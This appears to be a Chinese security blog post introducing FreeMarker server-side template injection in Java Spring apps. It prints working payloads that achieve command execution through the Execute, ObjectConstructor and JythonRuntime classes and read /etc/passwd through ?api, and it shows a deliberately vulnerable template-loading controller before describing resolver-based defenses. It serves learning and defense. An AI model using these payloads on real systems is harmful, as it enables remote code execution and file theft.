FreeMarker初识
前言
在python
中存在jinjia2
引擎的模板注入,在php
中存在注入Smarty Twig
等模板引擎的注入,而在Java
中,作为当今最火爆的应用开发语言,也存在着三大常见的模板引擎Freemarker Thymeleaf Velocity
引起了SSTI
注入问题。总的来说,当通过模板语言去渲染处理模板中的特定参数,将动态数据渲染到视图层时候,如果没进行任何的控制,使得恶意代码能够注入到模板当中,就会导致安全威胁。对自己首次正式了解freemarker
模板注入做个记录
FreeMarker模板
Freemarker
模板语言(FTL
)由四个部分组成,分别如下:
- 文本:也就是
HTML
标签和一些静态文本的内容,会原样输出。 - 指令:
<#assign >
、<@user_def_dir_exp>
等系统指令标签,通过指令实现复杂的逻辑和内容的生成。这部分内容不会显示在文本当中。 - 插值:如
${*expression*}
等,用于将表达式转换成字符串。 - 注释:
<#--
和-->
,注释部门不会被模板引擎解析。
Freemarker模板注入
demo
首先可以先搞一个简单的demo,demo中需要配置freemarker
模板的一些指定路径,如下:
server.port=8081
spring.freemarker.template-loader-path=classpath:/templates/
spring.freemarker.suffix= .ftl //一般freemarker模板的后缀
spring.freemarker.charset=utf-8
spring.freemarker.cache=false
spring.freemarker.expose-request-attributes=true
spring.freemarker.expose-session-attributes=true
spring.web.resources.static-locations=classpath:/static/
index.ftl的内容如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Freemarker模板注入</title>
</head>
<body>
<p>Hello,${user.username}欢迎您</p>
</body>
</html>
写一个简单的控制器:
@Controller
public class Demo {
@GetMapping("/")
public String Index(ModelMap modelMap){
Map<String,String> map=new HashMap<>();
map.put("username","Aiwin");
modelMap.addAttribute("user",map);
return "index";
}
}
内置函数new
在FreeMarker
模板引擎中,new
是一个内置函数,用于创建新的实例对象。这个函数通常用于创建Java对象,并且可以调用对象的构造函数来初始化对象的状态。在模板中使用new
函数可以方便地创建Java对象并将其用于模板的展示逻辑中。
从new
内置函数的描述中可以看到,new
内置函数可以创建一个对象,如果在Java
的内部存在一些类存在能够触发代码执行的代码,并且参数可控制,那么就可以通过new
函数触发代码执行,师傅们找到了以下的几个。
freemarker.template.utility.Execute
是 FreeMarker
模板引擎中的一个实用工具类,用于执行外部命令或者系统命令。这个类允许在 FreeMarker
模板中执行一些系统级别的操作,比如运行命令行命令、调用系统命令等。
从传入的参数列表中获取第一个参数,该参数是要执行的命令,随后进行命令执行后,将得到的结果通过字节流读取出来,随后变成字符数据返回。
freemarker.template.utility.ObjectConstruct
是 FreeMarker
模板引擎中的一个实用工具类,用于实例化对象并将其包装成 FreeMarker
可以处理的模板模型对象。
取出列表中的第一项作为类名进行类的动态加载,随后将列表中后面的字符串作为参数,通过newInstance
进行类的实例化,因此这里能够传入Runtime
类或ProcessBuilder
类触发命令执行。
freemarker.template.utility.JythonRuntime
是 FreeMarker
模板引擎中的一个实用工具类,用于与 Jython(Java 实现的 Python 解释器)交互,允许在 FreeMarker
模板中执行 Python 代码。
方法重写了Writer
中的writer flush close
方法,将接收到的字符序列会被追加到一个StringBuilder
缓冲区中,随后在flush
中会执行interpretBuffer
方法,这个方法从buf
中获取字符串的内容并通过exec
执行python代码。
基于new
构建新的对象,因此可以衍生出下面的三个payload
:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")</@value>
<!--import org.python.util.PythonInterpreter注意引入这个依赖,还需要安装相应的依赖库到Lib中-->
里面的<#assign>
标签用于定义变量。通过<#assign>
标签,你可以将一个值赋给一个变量,然后在模板中使用该变量来引用这个值。这在模板中非常有用,因为你可以在模板中创建和操作变量,从而实现更复杂的逻辑和功能。
api函数利用
api
内建函数可以用于调用JAVA API
,通过调用Freemarker
提供的API
可以获取当前对象的类加载器等,从而动态加载类,达到命令执行的效果。但是注意文档中的信息,在2.3.22
后api
默认为false
也就是不能够随意使用。
因此师傅们出现了以下的payload:
从api接口中获取类的加载器,对恶意的类完成类的加载
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
<#assign uri=object?api.class.getResource("/").toURI()>
: 这一行通过Java API
获取了当前运行环境的根目录的URI,并将其赋值给了一个名为uri
的变量。<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
: 这一行使用uri
中的信息构建了一个指向/etc/passwd
文件的URL,并通过打开连接的方式创建了一个输入流对象input
,该对象可以用于读取文件的内容。<#assign is=input?api.getInputStream()>
: 这一行将前面创建的连接对象input
转换为输入流is
,以便后续读取文件内容。<#list 0..999999999 as _> ... </#list>
: 这部分是一个循环,它会从0循环到999999999,每次迭代都会执行循环体内的代码。<#assign byte=is.read()>
: 这一行尝试从输入流is
中读取一个字节,并将其赋值给变量byte
。<#if byte == -1> <#break> </#if>
: 这个if语句检查是否已经到达了文件的末尾,如果是的话就退出循环。${byte},
: 如果没有到达文件末尾,则输出当前读取到的字节的值,并跟一个逗号。
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
例子
以上都是将payload
直接写入到ftl
文件中进而进行解析,那么在代码层面,如何能造成ssti
漏洞,根据网上找的例子,可以看到代码如下:
@Controller
public class HelloController {
@Autowired
private Configuration con;
@RequestMapping(value = "/hello")
public String hello(@RequestBody Map<String,Object> body, Model model) {
model.addAttribute("name", body.get("name"));
return "hello";
}
@RequestMapping(value = "/template", method = RequestMethod.POST)
public String template(@RequestBody Map<String,String> templates) throws IOException {
StringTemplateLoader stringLoader = new StringTemplateLoader();//加载字符串类型的模板内容
for(String templateKey : templates.keySet()){
stringLoader.putTemplate(templateKey, templates.get(templateKey));//将模板放入到加载器中,key是模板名,后面的模板的内容
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
con.getTemplateLoader()}));//设置模板生成动态渲染
return "index";
}
}
从代码层面来看,freemarker
模板注入造成的必须是能够控制html
的内容,它并不能像其它模板注入一样,直接通过参数传参就造成了模板注入。从造成的/template
路径中可以知道要造成freemarker
模板注入,必须要能控制整个HTML,比如代码中通过键值对的形式能够控制模板的名称和内容,使得整个HTML
被动态渲染导致了注入。
freemarker防护
从2.3.17
官方提供的方法中,对模板的解析进行了限制,可以使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或new_builtin_class_resolver
设置,如下:
UNRESTRICTED_RESOLVER
:通过ClassUtil.forName(String)
获得任何类。SAFER_RESOLVER
:不能加载上文的三个类。ALLOWS_NOTHING_RESOLVER
不能对任何类进行解析
总结
其实上文有一个疑问并没有解决,为什么freemarker
的模板注入只能获取整个HTML造成,而不能从参数造成。并且我也并没有去调试整个视图渲染的流程,原因就是我并不熟悉,以上仅仅是简单对freemarker
做个记录。
参考文章:
文章标题:FreeMarker初识
文章链接:https://aiwin.fun/index.php/archives/4412/
最后编辑:2024 年 5 月 14 日 17:10 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)